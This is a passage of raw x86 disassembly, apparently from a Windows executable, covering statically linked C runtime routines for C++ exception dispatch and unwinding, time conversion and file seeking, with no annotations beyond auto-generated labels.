cmp edi, [ebx+4]
jg short loc_421F0D
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421F0A
loc_421EA6: ; CODE XREF: sub_421DB1+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421ED7
loc_421EB8: ; CODE XREF: sub_421DB1+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_422000
add esp, 0Ch
test eax, eax
jnz short loc_421EE6
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421EB8
loc_421ED7: ; CODE XREF: sub_421DB1+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421EA6
jmp short loc_421F0A
; ---------------------------------------------------------------------------
loc_421EE6: ; CODE XREF: sub_421DB1+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F0A: ; CODE XREF: sub_421DB1+F3j
; sub_421DB1+133j
mov edi, [ebp+var_10]
loc_421F0D: ; CODE XREF: sub_421DB1+DEj
; sub_421DB1+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421E81
; ---------------------------------------------------------------------------
loc_421F18: ; CODE XREF: sub_421DB1+D6j
cmp [ebp+arg_14], 0
jz short loc_421F28
push 1
push esi
call sub_422486
pop ecx
pop ecx
loc_421F28: ; CODE XREF: sub_421DB1+56j
; sub_421DB1+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421F2D: ; CODE XREF: sub_421DB1+37j
; sub_421DB1+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421F53
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421F58
add esp, 20h
jmp short loc_421F28
; ---------------------------------------------------------------------------
loc_421F53: ; CODE XREF: sub_421DB1+180j
jmp sub_42255C
sub_421DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F58 proc near ; CODE XREF: sub_421DB1+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4DB324, 0
push esi
push edi
jz short loc_421F89
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C9CE
add esp, 1Ch
test eax, eax
jnz short loc_421FFC
loc_421F89: ; CODE XREF: sub_421F58+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41CAF7
add esp, 14h
mov esi, eax
loc_421FA5: ; CODE XREF: sub_421F58+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421FFC
cmp edi, [esi]
jl short loc_421FF4
cmp edi, [esi+4]
jg short loc_421FF4
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421FCE
cmp byte ptr [ecx+8], 0
jnz short loc_421FF4
loc_421FCE: ; CODE XREF: sub_421F58+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422111
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421FF4: ; CODE XREF: sub_421F58+57j
; sub_421F58+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421FA5
; ---------------------------------------------------------------------------
loc_421FFC: ; CODE XREF: sub_421F58+2Fj
; sub_421F58+53j
pop edi
pop esi
leave
retn
sub_421F58 endp
; =============== S U B R O U T I N E =======================================
sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_422057
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_422057
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_422031
add ecx, 8
push ecx
push edx
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_422053
loc_422031: ; CODE XREF: sub_422000+1Fj
test byte ptr [esi], 2
jz short loc_42203B
test byte ptr [edi], 8
jz short loc_422053
loc_42203B: ; CODE XREF: sub_422000+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_42204A
test byte ptr [edi], 1
jz short loc_422053
loc_42204A: ; CODE XREF: sub_422000+43j
test al, 2
jz short loc_422057
test byte ptr [edi], 2
jnz short loc_422057
loc_422053: ; CODE XREF: sub_422000+2Fj
; sub_422000+39j ...
xor eax, eax
jmp short loc_42205A
; ---------------------------------------------------------------------------
loc_422057: ; CODE XREF: sub_422000+Bj
; sub_422000+14j ...
push 1
pop eax
loc_42205A: ; CODE XREF: sub_422000+55j
pop edi
pop esi
retn
sub_422000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42205D proc near ; CODE XREF: sub_421D16+34p
; ___:00422153p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278C8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_42208F: ; CODE XREF: sub_42205D+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4220E9
cmp esi, 0FFFFFFFFh
jle short loc_42209E
cmp esi, [edi+4]
jl short loc_4220A3
loc_42209E: ; CODE XREF: sub_42205D+3Aj
call sub_4225B2
loc_4220A3: ; CODE XREF: sub_42205D+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_4220BE
push 103h
push ebx
push eax
call sub_422510
loc_4220BE: ; CODE XREF: sub_42205D+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4220DE
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_4220FB
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_4220DE: ; CODE XREF: sub_42205D+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_42208F
; ---------------------------------------------------------------------------
loc_4220E9: ; CODE XREF: sub_42205D+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42205D endp
; =============== S U B R O U T I N E =======================================
sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_42210C
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42210C: ; CODE XREF: sub_4220FB+Cj
jmp sub_42255C
sub_4220FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422111 proc near ; CODE XREF: sub_421DB1+151p
; sub_421F58+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422133
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4222C2
add esp, 10h
loc_422133: ; CODE XREF: sub_422111+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_42213F
push edi
jmp short loc_422142
; ---------------------------------------------------------------------------
loc_42213F: ; CODE XREF: sub_422111+29j
push [ebp+arg_24]
loc_422142: ; CODE XREF: sub_422111+2Cj
call sub_41C8D0
sub_422111 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_42205D
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_42218C
add esp, 2Ch
test eax, eax
jz short loc_422187
push edi
push eax
call sub_41C88E
loc_422187: ; CODE XREF: ___:0042217Ej
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42218C proc near ; CODE XREF: ___:00422174p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278D8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4DB31C
mov [ebp+var_1C], ecx
mov ecx, dword_4DB320
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4DB31C, edi
mov ecx, [ebp+arg_8]
mov dword_4DB320, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41C955
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422252
mov eax, [ebp+var_2C]
loc_422219: ; CODE XREF: sub_422232+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_42218C endp
; =============== S U B R O U T I N E =======================================
sub_422228 proc near ; DATA XREF: ___:004278E8o
push dword ptr [ebp-14h]
call sub_422298
pop ecx
retn
sub_422228 endp
; =============== S U B R O U T I N E =======================================
sub_422232 proc near ; DATA XREF: ___:004278ECo
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_41CBB6
pop ecx
pop ecx
xor eax, eax
jmp short loc_422219
sub_422232 endp
; ---------------------------------------------------------------------------
loc_42224A: ; DATA XREF: ___:004278E0o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_422252 proc near ; CODE XREF: sub_42218C+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_4DB31C, eax
mov eax, [ebp-20h]
mov dword_4DB320, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_422297
cmp dword ptr [edi+10h], 3
jnz short locret_422297
cmp dword ptr [edi+14h], 19930520h
jnz short locret_422297
cmp [ebp-24h], ebx
jnz short locret_422297
cmp [ebp-2Ch], ebx
jz short locret_422297
call sub_41CC1E
push eax
push edi
call sub_422486
pop ecx
pop ecx
locret_422297: ; CODE XREF: sub_422252+1Cj
; sub_422252+22j ...
retn
sub_422252 endp
; =============== S U B R O U T I N E =======================================
sub_422298 proc near ; CODE XREF: sub_422228+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4222BF
cmp dword ptr [eax+10h], 3
jnz short loc_4222BF
cmp dword ptr [eax+14h], 19930520h
jnz short loc_4222BF
cmp dword ptr [eax+1Ch], 0
jnz short loc_4222BF
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4222BF: ; CODE XREF: sub_422298+Cj
; sub_422298+12j ...
xor eax, eax
retn
sub_422298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278F0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_42246B
cmp byte ptr [eax+8], 0
jz loc_42246B
mov eax, [ecx+8]
test eax, eax
jz loc_42246B
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_42235F
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_422350: ; CODE XREF: sub_4222C2+F5j
push eax
call sub_4224ED
pop ecx
pop ecx
mov [edi], eax
jmp loc_422467
; ---------------------------------------------------------------------------
loc_42235F: ; CODE XREF: sub_4222C2+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_4223B9
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz loc_422462
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_41CC90
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_422467
mov eax, [edi]
test eax, eax
jz loc_422467
add esi, 8
push esi
jmp short loc_422350
; ---------------------------------------------------------------------------
loc_4223B9: ; CODE XREF: sub_4222C2+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_422401
call sub_424770
pop ecx
pop ecx
test eax, eax
jz loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push edi
call sub_41CC90
add esp, 0Ch
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422401: ; CODE XREF: sub_4222C2+103j
call sub_424770
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push 1
push edi
call sub_42478C
pop ecx
pop ecx
test eax, eax
jz short loc_422462
push dword ptr [esi+18h]
call sub_4247A8
pop ecx
test eax, eax
jz short loc_422462
test byte ptr [esi], 4
jz short loc_422448
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C9
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422448: ; CODE XREF: sub_4222C2+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_4224ED
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_41C8C2
jmp short loc_422467
; ---------------------------------------------------------------------------
loc_422462: ; CODE XREF: sub_4222C2+6Aj
; sub_4222C2+7Cj ...
call sub_4225B2
loc_422467: ; CODE XREF: sub_4222C2+98j
; sub_4222C2+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_42246B: ; CODE XREF: sub_4222C2+2Ej
; sub_4222C2+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4222C2 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422486 proc near ; CODE XREF: sub_421DB1+170p
; sub_422252+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427900
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_4224CD
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_4224CD
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_41C8C2
or [ebp+var_4], 0FFFFFFFFh
loc_4224CD: ; CODE XREF: sub_422486+2Aj
; sub_422486+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_422486 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_42255C
; =============== S U B R O U T I N E =======================================
sub_4224ED proc near ; CODE XREF: sub_4222C2+8Fp
; sub_4222C2+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_42250E
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_42250E: ; CODE XREF: sub_4224ED+12j
pop esi
retn
sub_4224ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422510 proc near ; CODE XREF: sub_41C955+40p
; sub_42205D+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41CC41
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_42254F
mov ecx, 2
loc_42254F: ; CODE XREF: sub_422510+38j
push ecx
call sub_41CC41
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_422510 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42255C proc near ; CODE XREF: sub_421DB1:loc_421F53j
; sub_4220FB:loc_42210Cj ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427910
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_4DB328
test eax, eax
jz short loc_4225A4
mov [ebp+var_4], 1
call eax
jmp short loc_4225A0
; ---------------------------------------------------------------------------
loc_422599: ; DATA XREF: ___:00427920o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42259D: ; DATA XREF: ___:00427924o
mov esp, [ebp+var_18]
loc_4225A0: ; CODE XREF: sub_42255C+3Bj
and [ebp+var_4], 0
loc_4225A4: ; CODE XREF: sub_42255C+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_4225AD: ; DATA XREF: ___:00427918o
jmp loc_4247C0
sub_42255C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4225B2 proc near ; CODE XREF: sub_41CAF7+23p
; sub_41CAF7:loc_41CB62p ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427928
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, off_43C8C4
test eax, eax
jz short loc_4225FA
mov [ebp+var_4], 1
call eax ; sub_42255C
jmp short loc_4225F6
; ---------------------------------------------------------------------------
loc_4225EF: ; DATA XREF: ___:00427938o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4225F3: ; DATA XREF: ___:0042793Co
mov esp, [ebp+var_18]
loc_4225F6: ; CODE XREF: sub_4225B2+3Bj
and [ebp+var_4], 0
loc_4225FA: ; CODE XREF: sub_4225B2+30j
or [ebp+var_4], 0FFFFFFFFh
call $+5
loc_422603: ; DATA XREF: ___:00427930o
jmp sub_42255C
sub_4225B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422608 proc near ; CODE XREF: sub_41CFD3+7p
; sub_41CFD3+26p
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DC908
push esi
cmp eax, 3
jnz short loc_422631
mov esi, [ebp+arg_0]
push esi
call sub_41DE77
test eax, eax
pop ecx
jz short loc_42262E
mov eax, [esi-4]
sub eax, 9
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_42262E: ; CODE XREF: sub_422608+1Cj
push esi
jmp short loc_422658
; ---------------------------------------------------------------------------
loc_422631: ; CODE XREF: sub_422608+Ej
cmp eax, 2
jnz short loc_422655
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
push [ebp+arg_0]
call sub_41EBD2
add esp, 0Ch
test eax, eax
jz short loc_422655
movzx eax, byte ptr [eax]
shl eax, 4
jmp short loc_422666
; ---------------------------------------------------------------------------
loc_422655: ; CODE XREF: sub_422608+2Cj
; sub_422608+43j
push [ebp+arg_0]
loc_422658: ; CODE XREF: sub_422608+27j
push 0
push dword_4DC904
nop
call near ptr 2650000h
loc_422666: ; CODE XREF: sub_422608+24j
; sub_422608+4Bj
pop esi
leave
retn
sub_422608 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422669 proc near ; CODE XREF: sub_41D081+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_422725
cmp ebx, 8Ah
jg loc_422725
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_43CD8C[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_4226A8
cmp edi, 2
jle short loc_4226A8
inc esi
loc_4226A8: ; CODE XREF: sub_422669+37j
; sub_422669+3Cj
call sub_4247D7
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_43CCA8
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_42271B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_422721
cmp dword_43CCAC, 0
jz short loc_422721
lea eax, [ebp+var_24]
push eax
call sub_424A4A
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_422721
loc_42271B: ; CODE XREF: sub_422669+90j
add ecx, dword_43CCB0
loc_422721: ; CODE XREF: sub_422669+96j
; sub_422669+9Fj ...
mov eax, ecx
jmp short loc_422728
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_422669+13j
; sub_422669+1Fj
or eax, 0FFFFFFFFh
loc_422728: ; CODE XREF: sub_422669+BAj
pop ebx
leave
retn
sub_422669 endp
; =============== S U B R O U T I N E =======================================
sub_42272B proc near ; CODE XREF: ___:0041D253p
; sub_41F11C+1A2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
push ebx
cmp eax, dword_4DC6C0
push esi
push edi
jnb short loc_4227AD
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DC5C0h[ecx*4]
shl esi, 3
mov ecx, [edi]
test byte ptr [ecx+esi+4], 1
jz short loc_4227AD
push eax
call sub_4238A2
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_42276F
mov dword_4DB278, 9
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42276F: ; CODE XREF: sub_42272B+36j
push [esp+0Ch+arg_8]
push 0
push [esp+14h+arg_4]
push eax
call near ptr 2770000h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_42278F
nop
call near ptr 2670897h
jmp short loc_422791
; ---------------------------------------------------------------------------
loc_42278F: ; CODE XREF: sub_42272B+5Aj
xor eax, eax
loc_422791: ; CODE XREF: sub_42272B+62j
test eax, eax
jz short loc_42279E
push eax
call sub_4203DF
pop ecx
jmp short loc_4227BE
; ---------------------------------------------------------------------------
loc_42279E: ; CODE XREF: sub_42272B+68j
mov eax, [edi]
and byte ptr [eax+esi+4], 0FDh
lea eax, [eax+esi+4]
mov eax, ebx
jmp short loc_4227C1
; ---------------------------------------------------------------------------
loc_4227AD: ; CODE XREF: sub_42272B+Dj
; sub_42272B+2Aj
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_4227BE: ; CODE XREF: sub_42272B+42j
; sub_42272B+71j
or eax, 0FFFFFFFFh
loc_4227C1: ; CODE XREF: sub_42272B+80j
pop edi
pop esi
pop ebx
retn
sub_42272B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4227C5 proc near ; CODE XREF: ___:0041D216p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
mov esi, [edi+10h]
cmp [edi+4], ebx
mov [ebp+var_C], esi
jge short loc_4227E1
mov [edi+4], ebx
loc_4227E1: ; CODE XREF: sub_4227C5+17j
push 1
push ebx
push esi
call sub_42272B
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jl short loc_42284F
mov edx, [edi+0Ch]
test dx, 108h
jnz short loc_422806
sub eax, [edi+4]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422806: ; CODE XREF: sub_4227C5+37j
mov eax, [edi]
mov ecx, [edi+8]
mov ebx, eax
sub ebx, ecx
test dl, 3
mov [ebp+var_8], ebx
jz short loc_422840
mov edx, esi
mov ebx, esi
sar edx, 5
and ebx, 1Fh
mov edx, dword_4DC5C0[edx*4]
test byte ptr [edx+ebx*8+4], 80h
jz short loc_422857
mov edx, ecx
loc_422831: ; CODE XREF: sub_4227C5+79j
cmp edx, eax
jnb short loc_422857
cmp byte ptr [edx], 0Ah
jnz short loc_42283D
inc [ebp+var_8]
loc_42283D: ; CODE XREF: sub_4227C5+73j
inc edx
jmp short loc_422831
; ---------------------------------------------------------------------------
loc_422840: ; CODE XREF: sub_4227C5+50j
test dl, 80h
jnz short loc_422857
mov dword_4DB278, 16h
loc_42284F: ; CODE XREF: sub_4227C5+2Dj
or eax, 0FFFFFFFFh
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422857: ; CODE XREF: sub_4227C5+68j
; sub_4227C5+6Ej ...
cmp [ebp+var_4], 0
jnz short loc_422865
mov eax, [ebp+var_8]
jmp loc_422918
; ---------------------------------------------------------------------------
loc_422865: ; CODE XREF: sub_4227C5+96j
